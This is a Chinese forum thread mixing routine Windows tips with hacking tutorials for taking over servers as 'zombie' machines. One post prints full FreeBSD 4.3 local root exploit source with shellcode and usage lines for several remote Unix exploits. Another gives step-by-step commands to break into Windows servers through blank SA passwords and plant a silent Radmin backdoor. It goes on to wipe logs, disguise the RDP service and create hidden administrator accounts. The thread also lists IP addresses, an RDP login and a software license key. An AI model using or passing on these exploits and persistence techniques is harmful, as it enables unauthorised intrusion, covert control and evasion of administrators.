发新话题
打印

菜鸟升级一号专题(已完成)

如何使IE不再发送错误报告

问题描述 :  
  在使用IE浏览网页的过程中,出现“Microsoft Internet Explorer遇到问题需要关闭……”的信息提示。此时,如果单击“发送错误报告”按钮,则会创建错误报告,单击“关闭”按钮之后会引起当前IE窗口关闭;如果单击“不发送”按钮,则会关闭所有IE窗口。

故障原因及解决方案 :  
  这是IE为了解用户在使用中的错误而设计的一个小程序。
  针对不同情况,可分别用以下方法关闭IE发送错误报告功能:

1.对IE5.x用户,执行“控制面板→添加或删除程序”,在列表中选择“Internet Explorer error reporting”选项,然后单击“更改/删除”按钮,将其从系统中删除。
2. 对windows 9x/me/nt/2000下的IE 6.0用户,则可打开“注册表编辑器”,找到[hkey_local_machine\software \microsoft\internet explorer\main],在右侧窗格创建名为iewatsonenabled的dword双字节值,并将其赋值为0。
3.对windows XP的IE 6.0用户,执行“控制面板→系统”,切换到“高级”选项卡,单击“错误报告”按钮,选中“禁用错误报告”选项,并选中“但在发生严重错误时通知我”,最后单击“确定”按钮。

TOP

如何使用Tasklist命令

  Tasklist命令用来显示运行在本地或远程计算机上的所有进程,带有多个执行参数。

  使用格式
  Tasklist [/S system [/U username [/P [password]]]] [/M [module] | /SVC | /V] [/FI filter] [/FO format] [/NH]

  参数含义
  /S system 指定连接到的远程系统。

  /U [domain\]user 指定使用哪个用户执行这个命令。

  /P [password] 为指定的用户指定密码。

  /M [module] 列出调用指定的DLL模块的所有进程。如果没有指定模块名,显示每个进程加载的所有模块。

  /SVC 显示每个进程中的服务。

  /V 显示详细信息。

  /FI filter 显示一系列符合筛选器指定的进程。

  /FO format 指定输出格式,有效值:TABLE、LIST、CSV。

  /NH 指定输出中不显示栏目标题。只对TABLE和CSV格式有效。

  应用实例。
  1.查看本机进程
  在“命令提示符”中输入Tasklist命令即可显示本机的所有进程(图1)。本机的显示结果由5部分组成:图像名(进程名)、PID、会话名、会话#和内存使用。

  2.查看远程系统的进程
  在命令提示符下输入“Tasklist /s 218.22.123.26 /u jtdd /p 12345678”(不包括引号)即可查看到IP地址为218.22.123.26的远程系统的进程(图2)。其中/s参数后的“218.22.123.26”指要查看的远程系统的IP地址,/u后的“jtdd”指Tasklist命令使用的用户账号,它必须是远程系统上的一个合法账号,/p后的“12345678”指jtdd账号的密码。
  注意:使用Tasklist命令查看远程系统的进程时,需要远程机器的RPC服务的支持,否则,该命令不能正常使用。

  3.查看系统进程提供的服务
  Tasklist命令不但可以查看系统进程,而且还可以查看每个进程提供的服务。如查看本机进程SVCHOST.EXE提供的服务,在命令提示符下输入“Tasklist /svc”命令即可(图3)。你会惊奇地发现,有4个SVCHOST.EXE进程,而总共有二十几项服务使用这个进程。
  对于远程系统来说,查看系统服务也很简单,使用“Tasklist /s 218.22.123.26 /u jtdd /p 12345678 /svc”命令,就可以查看IP地址为218.22.123.26的远程系统进程所提供的服务。

  4.查看调用DLL模块文件的进程列表
  要查看本地系统中哪些进程调用了shell32.dll模块文件,只需在命令提示符下输入“Tasklist /m shell32.dll”即可显示这些进程的列表。

  5.使用筛选器查找指定的进程
  在命令提示符下输入“TASKLIST /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq running”,就可以列出系统中正在运行的非SYSTEM状态的所有进程。其中“/FI”为筛选器参数,“ne”和“eq”为关系运算符“不相等”和“相等”。

  小提示
  谈到“Tasklist”命令,我们就不得不提到它的孪生兄弟“Taskkill”命令,顾名思义,它是用来关掉进程的。
  要关掉本机的notepad.exe进程,有两种方法:
  1.先使用Tasklist查找它的PID,假设系统显示本机notepad.exe进程的PID值为1132,然后运行“Taskkill /pid 1132”命令即可。其中“/pid”参数后面是要终止进程的PID值。
  2.直接运行“Taskkill /IM notepad.exe”命令,其中“/IM”参数后面为进程的图像名。

TOP

如何使用系统还原

  以Windows XP为例,介绍几个常用技巧。

  一、关闭系统还原
  系统还原功能一旦开启,系统便会定期进行备份,时间一长,系统还原记录就会占用大量的硬盘空间,禁用方法是:右击“我的电脑”,选择“属性”,进入“系统还原”选项卡,勾选“在所有驱动器上关闭系统还原”项即可。

  二、部分禁用还原
  如果使用系统还原只是为了恢复系统的话,那么只需给系统分区设置还原功能即可。设置方法是:打开“系统还原”窗口(方法同上),在“可用的驱动器”栏中依次选择非系统分区,并点“设置”,在“驱动器设置” 窗口中勾选“关闭这个驱动器上的‘系统还原’”复选框即可。

  三、修改占用空间的最小值
  Windows XP的系统还原所占用空间的最小值默认为200MB,这个数值可以通过注册表进行修改:在“开始→运行”中输入“Regedit”,打开“注册表编辑器”,进入“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore”,在右侧窗口中双击“DSMin”,输入其他数值,然后按F5键刷新即可。你也可以改变“DSMax”的大小以更改占用空间的最大值。

  四、锁住系统还原
  打开“注册表编辑器”,进入“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore”,将“DisableSR”的键值设为“1”即可,这时你会发现“系统还原”选项卡的内容已经不能再修改了。

  五、删除还原记录
  如果你只想删除还原记录而并不想关闭该功能,可通过“磁盘清理程序”来删除几乎所有的还原点(仅保留最近一次的还原点)。方法是:依次点击“开始→所有程序→附件→系统工具→磁盘清理”,然后选择相应驱动器即可。

  另外,用Windows优化大师清理垃圾文件时,默认的“垃圾文件”中的“_Restore”文件就是还原记录,不要删除,否则系统还原也就形同虚设了。

TOP

如何锁住桌面背景

  进入“开始→运行”,输入“regedit”打开注册表编辑器,找到分支“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies”,新建一个ActiveDeskop项,再在右侧窗口中新建一个名为NochangingWallPaper的DWORD值,并将它的值设为1,这样就可以彻底锁住你的桌面背景。解锁的方法也很简单:将新建的DWORD值修改为0即可。

TOP

如何寻找自己的UNIX肉鸡

今天的话题是怎么样找unix肉鸡,我想这对于一个有很多windows肉鸡而没有unix肉鸡的人是很有必要。
不罗嗦,直入正题。为什么说是我和x-laser一起找肉鸡呢?因为我们的一切操作全部是在3389肉鸡上进行的。首先我们都上到同一个终端,(前提:终端是对方开的,而不是你自己做的,这样才有终端服务管理器可用)然后用管理工具中的终端管理进行id切换(选择用户进行连接)

这样,两个人就可以互相控制对方了,一举一动都很清楚,这种方法很好,大大提高了效率,也增加了入侵时的乐趣。建议大家推广 :)
    下面我们开始工作。由于是在win上搞unix类,所以我们最好要有在win上用的exploit,以得到第一台unix肉鸡。关于在win上用的exploits可以用cygwin编译(在www.isfocus.com)有下载。或者直接去大鹰的主页(e4gle.org)或者红客技术联盟(www.cnhonker.net/old.php)下载,注意了,要一起下那个cygwin1.dll的文件,不然搞不成。
现在我们要做的是找出大量unix的肉鸡,然后再去找漏洞,但是怎么找呢?这时候,就请出了我们的languard network scanner,在做了简单的设置让他跑的快点后,我们就开始扫描

我们看到有一台freebsd,这个系统比较好欺负,因为前段时间有个沸沸扬扬的telnetd远程溢出漏洞。当然我们也可以用superscan来快速判断操作系统.我们用superscan扫23端口,因为telnet上去一般都有banner,从而得知操作系统类型.

我们扫到了两台linux,….. ..#..’是linux的判断符.
……..#..’..$则是sunos的判断符,如此等等,大家用用就有经验了.

言归正转,来看我们的freebsd.我们在红盟下好bsd.exe和cygwin1.dll后,就开始溢出了。

由于要发送16M的东西,所以可能会慢点
等到成功后,会出现 command ?
这是输入 id
可以看到自己已经成为root了。当然,大家还可以把shadow抓下来,bsd下的sh
adow文件是/etc/master.passwd,然后john跑个用户名出来(在www.xfocus.net有john的windows下的版本下载,也是用cygwin编译的),再telnet上去,就得到了普通帐号(因为root帐号一般比较难破),再进行本地溢出。为什么要这么麻烦呢?因为我们远程得到的shell很多都没有回显,所以不方便添加帐号。一般在bsd下添加帐号是在/usr/sbin下执行./adduser ,然后按着提示做就可以了,bsd系统很稳定,很多大型网站都是用这个建站,比如红盟。本地溢出的代码我在这里贴一下

?受影响版本: FreeBSD 4.3 4.2 4.1 4.0

早期版本也许受影响 测试程序使用方法:  

netdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done #   

发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。

题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。 vvfreebsd.c

    ???? /* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski http://www.guninski.com */ #include <stdio.h> #include <signal.h> #include <unistd.h> int vv1; #define MYSIG SIGINT //exec "/tm
    p/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"
); while(42); }

/* www.xcode.tw.st 极端网络安全小组 */


可以找到可写的地方,然后cat >vv.c 回车
(鼠标右健粘贴)
ctrl + d保存
$gcc –o vv vv.c编译(gcc在solaris和aix等系统下叫做cc)
$cp /bin/csh /tmp
$./vv
这样就执行了,一般可以得到root.注意第二句,这是代码的需要
然后就去adduser然后再放一堆后门上去吧
几点补充:1.命令w查看当前哪些在线,要是看见root就要小心了
2
.Whereis gcc查看装了gcc没有,whereis的用法很灵活
3如果没装就需要把编译好的传上去,我们一般是申请一个ftp,然后编译好,传到ftp上,在让攻击的机子去下载(51.net的虚拟主机就可以完成这项任务)
4记得每次上去要用wipe清理足迹,wipe在小凤居有下载
 

另外再附几种常见的exploit的用法


目标主机一律用128.0.0.1代替! 1 statdu[vdp]redhat6.xrpc status远程溢出!

溢出程序: statdx 用法:

./statdx -d 0 128.0.0.1或者

./statdx -d 1 128.0.0.1或者

./statdx -d 2 128.0.0.1

2 sadmind[vdp]sun solaris sparc 2.6.2.7远程溢出

溢出程序: sadmindxbrute 用法

./sadmindxbrute (主机类型参数) 128.0.0.1 主机参数 1 x86 2.6 2 x86 7.0 3 sparc 2.6 4 sparc 7.0 3 ttdb[tcp]sun solaris 2.3 2.4 2.5 2.5.12.6远程溢出  

所用程序 ttds(已经改名)流光iv的exploit内可以找到

用法: ./ttds 128.0.0.1 80(攻击断口设置为80)-v6 4 snmp[bdp]sun solaris sparc 7.0/8.8远程溢出

所用程序 snmpxmid

用法: ./snmpxmid 128.0.0.1 -v 7 5 bind 远程溢出

程序bind

用法: ./bind 128.0.0.1 -e 6 irix的telnet远程溢出(这个可能用流光iv扫描不到)

所用程序telnetd

用法: ./telnetd 128.0.0.1 7 utofsd[vdp]bsd autofsd远程溢出,tcp 530 root shell

所用程序 utofsd

用法: ./utofsd 128.0.0.1 8 freebsd远程溢出

这个可以通过www.paching.net/liumy写的bsd攻击程序在winnt下使用方法 bsd 128.0.0.1 其他的远程溢出程序也不麻烦 你只要把程序编译好之后输入 ./程序名 --h就可以看到帮助了!

   补充一点,很多写exploit的牛人为了让自己的exploit给真正的黑客用,故意在代码里放了几个错误,所以大家还是要学好编程的这样,就可以根据gcc编译器的错误提示把错误的代码改过来。今天我们讲了怎样找unix类肉鸡,当然还是要看运气,不过我和x-laser在3389肉鸡扫描很疯狂,用superscan一次一般是扫255个c段用languard也扫的很多,所以建议大家多多实践.最后,奉劝一句,不要入侵国内,不要搞破坏

TOP

如何找到自启动程序

  如果系统启动时自动加载的程序过多,会造成启动速度缓慢,而很多病毒或者木马也是在系统启动时自动加载的。所以了解怎样在Windows中查找自启动程序是非常重要的。

  一、在“启动”文件夹中寻找
  “启动”文件夹一般位于“系统盘符\Documents and Settings\用户名\开始菜单\程序\启动\”目录(Win 2000/XP)或“系统盘符\WINDOWS\Start Menu\Programs\启动\”目录。通过快捷方式的属性可以查出程序所在的位置。

  二、从自动批处理文件中寻找
  在Win 98中,Autoexec.bat和Winstart.bat文件中的程序在开机时自动执行;而在Win Me/2000/XP/2003中,这两个批处理文件默认不被执行。

  三、从系统配置文件中寻找
  在有些系统配置文件中也可以找到自启动程序的踪迹,如Config.sys、Win.ini、System.ini、Wininit.ini和Msdos.sys等。

  四、通过“系统配置实用程序”寻找
  在“开始→运行”中键入“msconfig.exe”启动“系统配置实用程序”,进入“启动”选项卡,即可查看随系统启动的程序名称和位置。
  注意:Win 2000本身没有Msconfig程序,可以从Win XP/2003中提取。

  五、从计划任务中寻找
  在“控制面板”中双击“任务计划”就可以查看是否有计划任务随系统一起启动。

  六、使用“系统信息”寻找
  进入“系统信息”主界面,依次展开分支“软件环境→启动程序”,就可以在右窗格中查看自启动程序名称和位置。

  七、使用“组策略”寻找
  在Win 2000/XP/2003中,在“开始→运行”中键入“gpedit.msc”,打开“组策略”,依次展开“用户配置→管理模板→系统→登录/注销”,双击“在用户登录时运行这些程序”,单击“显示”按钮,即可查看自启动程序。

  八、通过注册表寻找
  在注册表中,可以从下列键值中查找自启动程序的名称和位置。
  1.Userinit键
  位于“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit”。这个键允许指定用逗号分隔的多个程序。
  2.Explorer\Run键
  位于“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run”。
  3.RunServicesOnce键
  RunServicesOnce键用来启动服务程序,在用户登录之前启动,具体位置是“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce”。
  4.RunServices键
  RunServices键指定的程序在RunServicesOnce指定的程序之后运行,不过仍在用户登录之前。具体位置是:“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\RunServices”。
  5.Run键
  Run是自动运行程序最常用的键,位置在“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”。
  6.Load键
  位于“HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load”。
  另外还有RunOnce、RunOnce\Setup等键。

  九、使用工具软件
  除了使用系统提供的工具以外,我们还可以求助于第三方软件,比如Windows优化大师、RegRun Gold等等。

TOP

入侵3389终结完整编

以文本方式查看主题.
用户:tsinternetuser
密码:zedcy

219.149.194.245
211.151.90.4
61.135.129.130
218.25.10.39
220.194.196.133
172.16.18.209  
211.155.18.34   
211.155.18.209

-  《网管员世界》论坛  (http://www.netadmin.com.cn/adminbbs/index.asp)
--  黑客技术  (http://www.netadmin.com.cn/adminbbs/list.asp?boardid=79)
----  [转帖]入侵3389终结完整编  (http://www.netadmin.com.cn/admin ... id=79&id=21568)

--------------------------------------------------------------------------------

--  作者:zxpluck
--  发布时间:2004-12-3 9:10:00

--  [转帖]入侵3389终结完整编



工具:WINNTAutoAttack自动攻击器(扫漏洞)

     SQLTOOLS(SA空口令连接器)

     RAMDIN影子3.0中文版(远程控制程序)

RADMIN注册码:

08US9A95I+lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23

     SC.exe  port.bat query.exe quser.exe(隐藏3389服务及不让管理发现自己程序)

CleanIISLog.exe(小榕的擦PP程序)

3389.exe(开3389端口服务的)

psu.exe(使用被禁止的Guest帐户要用到的)

mstsc.exe(远程桌面连接程序)

     下载(点右键用下载工具下)

一.扫到SA弱口令..(自动攻击器)

二.用SQLTOOLS连上去建一个用户

net start telnet                                    开telnet服务

net user mint mint /add                          添加用户mint密码为mint

net localgroup administrators mint /add           将帐号mint升级为管理员

三.上传后门程序RAD.EXE(RADMIN服务端自解压程序)

制作RAD.EXE过程:

1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe(从新

2、在本地设置服务端(一定要生成)

设置密码-->>设置连接端口(默认4489)-->>生成

3、导出注册表HKEY_LOCAL_MACHINE\\SYSTEM\\Radmin的键值为1.reg

4、编写一个批处理,并命名为u.bat

--------------------------------------------

@echo off

net stop r_server

--------------------------------------------

5、写第二个批处理,r.bat,内容为

--------------------------------------------

@echo off

@Explorer.exe /uninstall /silence

@Explorer.exe /install /silence

@regedit /s 1.reg

@echo off

@Explorer.exe /uninstall /silence

@Explorer.exe /install /silence

@regedit /s 1.reg

@net start r_server

@del rad.exe

@del 1.reg

@del r.bat

@del u.bat

--------------------------------------------

6、将AdmDLL.dll raddrv.dll Explorer.exe(r_sever.exe改名) u.bat r.bat压缩成Rad.RAR压缩包

7、将Rad.rar制作成自解压文件.

选择Default.sfx的自释放模块-->>高级自释放选项

-->>常规

        释放路径:%systemroot%\\system32

        安装程序:释放后运行:r.bat 释放前运行u.bat

-->>摸式

        缄默模式:全部隐藏  覆盖方式:覆盖所有文件

-->>确定-->>确定

生成完成

四.用RADMIN客服端连接....

上传文件到c:\\WINNT(XP是windows):

port.bat(如果是在XP下..这个要把里面的WINNT改为Windows)

query.exe quser.exe

SC.exe

CleanIISLog.exe.exe

3389.exe

psu.exe

最好再上传一个反弹后门

RADMIN进入TELNET

运行    c:\\winnt\\3389.exe

重启肉鸡

五.重启后用远程桌面远程器连上去

这里就有时会出现个问题..

使用3389登陆。发现登陆用户已满。不用怕。我们把他踢出去。

telnet对方ip。发现需要NTLM 身份验证。

我们在自己的电脑里建立一个帐号mint密码为mint身份为管理员。

找到c:\\winnt\\system32\\cmd.exe 建立一个快捷方式到桌面。

修改cmd的快捷方式属性为允许其他身份登陆。

然后运行桌面上的cmd.exe的快捷方式。输入帐号mint密码mint

telnet对方ip.直接可以登陆对方电脑了。

使用命令

c:\\query user (查看对方目前终端登陆状况。)

运行命令

c:\\logoff 1(踢出去一个管理者)

再用c:\\query user检查一便~~(这就是为什么不马上用1.bat了)

六.连上后..在cmd下运行

c:\\winnt\\log . 自己的IP .(擦PP)

c:\\winnet\\1.bat (删除覆盖查看当前在线用户文件)

七.打SA空口令补丁

程序-->>Microsoft SQL Server-->>查询分析器(有放大镜的)

-->>Windowst身位验证登陆

复制一下代码:SELMIS

--------------------------------------------

if exists (select * from

dbo.sysobjects where id = object_id(N\'[dbo].[xp_cmdshell]\') and

OBJECTPROPERTY(id, N\'IsExtendedProc\') = 1)



exec sp_dropextendedproc N\'[dbo].[xp_cmdshell]\'



GO

--------------------------------------------

按F5(运行)

关了退出SQL Server再用SQL Server身位验证进一次.退出(这是为了不留下记录)

八.改3389端口和服务名称

修改服务器端的端口设置 ,注册表有2个地方需要修改。

         [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp]

PortNumber值,默认是3389,选择10进制 修改成所希望的端口,比如1314

第二个地方:

         [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 

PortNumber值,默认是3389,选择10进制 修改成所希望的端口,比如1314

要重启系统才能用新端口连.(不急..改了他的服务名再重启系统吧)

导出3389服务的

[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermService]

的键值为mm.reg文件.

编辑mm.reg文件.替换TermService为Alerter(错误警告服务..别的服务也行)

再把第十行的"Description"="(这里是服务说明..改为你所换的服务说明..这里改为通知所选用户和计算机有关系统管理级警报。)"

第十一行的"DisplayName"="(这里是服务名称..改为你所换的服务名称..这里改为Alerter)

保存..再导入注册表(这里要先运行Services.msc(可在CMD下打这命令)服务管理器..把Alerter的服务先停止)

再在CMD下

    CD c:\\winnt\\system32

    copy termsrv.exe service.exe(这里是复制termsrv.exe为Alerter服务文件名差不多的文件)

    CD C:\\winnt

    sc \\\\127.0.0.1 config Alerter binpath= c:\\winnt\\system32\\service.exe(这里是从新定向Alerter服务文件.服务名一定要区分大小写A要大写)

九.注消后(注消比直接关要好些)..用Radmin重启肉鸡..



十.使用被禁用的帐户[Guest]登陆.删除自己开始建的帐号

1.使用psu.exe展开注册表到

HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users

用法:[psu -p regedit -i pid]

Pid 的值为在任务栏空白处点右键-->>任务管理器--->>进程中的winlogon.exe后面的数值就是PID数值

如:psu –p regedit –i 157

将Guest克成管理员权限

克成管理员权限的方法:

找到HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\Administrator的类型值.

在HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\下找到这个类型值在复制数值名为F的数值数剧覆盖相应的Guest的类型值(找的方法一样)

导出Guest的配置(也就是导出HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Guest和他相应的类型值的数据) 然后删除Guest的配置

2.查看计算机管理中帐户列表 刷新这时候会出现错误[找不到帐户](跳过这步也行)

3.将Guest的配置(二个REG文件导进注册表)

4.修改Guest帐户密码,命令行下禁用Guest帐户[一定是命令行下]

net user Guest **** [修改密码]

net user Guest /active:yes

net user Guest /active:no[命令行下禁用Guest]

5.实验被禁止的帐户Guest是否可用.

6.用Guest登陆后删除自己建的帐号

net user mint /del

整个过程结束

最后最好把RADMIN的服务也改了..多留个后门多条路..呵呵

整个过程全部结束..这机子就真正变成你的肉鸡了...

文章里面的内容都是以下动画的内容(通过我自己的理解写的..也许存在许多错误..希望对和偶一样的菜鸟有帮助)

笑语☆嫣然的《终结3389》

mervin制作 <《终结3389》补充版>

孤狼望月 <使用被禁用的帐户[Guest]登陆>

(他还有个(隐藏帐号后门教程)也差不多)

碎片 <Radmin服务端最新配置方法>

最后送一个找固定IP肉鸡的方法:

菜菜鸟教程之-如何提高扫描到肉鸡的机会    BY:网络凡人

先找个有不正常端口的代理,代理我一般到网迷之家(www.52cyq.com)拿的。就这个好了

218.58.88.15:45576 [山东省 青岛市](我的是教育网,扫描不到国外的机的,所以用国内的IP来

做试范),我把它扩充了整一个网段。由218.58.88.1-218.58.88.255你可以扩充成218.58.80.1-

218.58.90.255 .端口为了减少动画的大小,就扫描3389好了,。IP扩充多少就要看你

的网快还是慢。快的就扩充多点,慢的只扫描一个c段IP好了。看到没有,[218.58.88.8]:

发现 NT-Server弱口令: Administrator/[空口令]就是这么简单就可以扫描到肉鸡的,记得,

我这里出不了国外,才扫描国内的机。你们扫描国外的机,不要扫描国内的机啊~

如果发生了什么事,公安会找你的哦。好了。扫描就说到这了。
、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户

net user hacker$ 1234 /add

2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。

3、点“权限”以后会弹出窗口

点添加将我登录时的帐户添加到安全栏内,这里我是以administrator的身份登录的,所以我就将administrator加入,并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以,再来这里将你添加的帐户删除即可。

4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。

打开键:HKEY_LOCAL_MAICHINE\\SAM\\SAM\\Domains\\account\\user\\names\\hacker$"

5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg,用记事本分别打这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键"F"的值复制,并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。

6、在命令行下执行net user hacker$ /del将用户hacker$删除:net user hacker$ /del

7、在regedit.exe的窗口内按F5刷新,然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可

8、到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\\SAM\\SAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。

9、注意:隐藏的超级用户建好后,在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。


如何在命令行下远程建立隐藏的超级用户

在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服务就行。

对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell,并且有运行at命令的权限就可以。

1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)
2、先与肉鸡建立连接,命令为: net use \\\\13.50.97.238\\ipc$ "12345678" /user:"administrator

3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):at \\\\13.50.97.238 12:51

c:\\winnt\\system32\\net.exe user hacker$ 1234 /add

建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。

4、同样用at命令导出HKEY_LOCAL_MACHINE\\sam\\sam\\Domains\\account\\users下键值:at \\\\13.50.97.238 12:55

c:\\winnt\\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\account\\users\\

/e 是regedit.exe的参数,在_LOCAL_MACHINE\\SAM\\SAM\\Domains\\account\\users\\这个键的一定要以\\结尾。必要的情况下可以用引号将"c:\\winnt\\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\account\\users\\"引起来。

5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \\\\13.50.97.238\\admin$\\system32\\hacker.reg

c:\\hacker.reg

修改的方法图形界中已经介绍过了,这里就不作介绍了。

6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\\hacker.reg \\\\13.50.97.238\\admin$\\system32\\hacker1.reg

7、查看肉鸡时间:net time \\\\13.50.97.238 然后用at命令将用户hacker$删除:

at \\\\13.50.97.238 13:40 net user hacker$ /del

8、验证hacker$是否删除:用

net use \\\\13.50.97.238 /del 断开与肉鸡的连接。

net use \\\\13.50.97.238\\ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接,不能连接说明已删除。

9、再与肉鸡建立连接:net use \\\\13.50.97.238\\ipc$ "12345678" /user:"administrator"

再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:

at \\\\13.50.97.238 13:41 c:\\winnt\\regedit.exe /s hacker1.reg

regedit.exe的参数/s是指安静模式。

10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。

11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。

12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删的权限。

三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?

这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受。

但是这里有两个前提:1、先用net use \\\\肉鸡ip\\ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后,才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。

2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。

四、利用被禁用的帐户建立隐藏的超级用户:

我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:

1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只能在命令行下用命令:"net user 用户名"一个一个来查看用户是否被禁用。

2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE \\\\肉鸡ip Administrator 超级用户密码 hacher hacher密码。

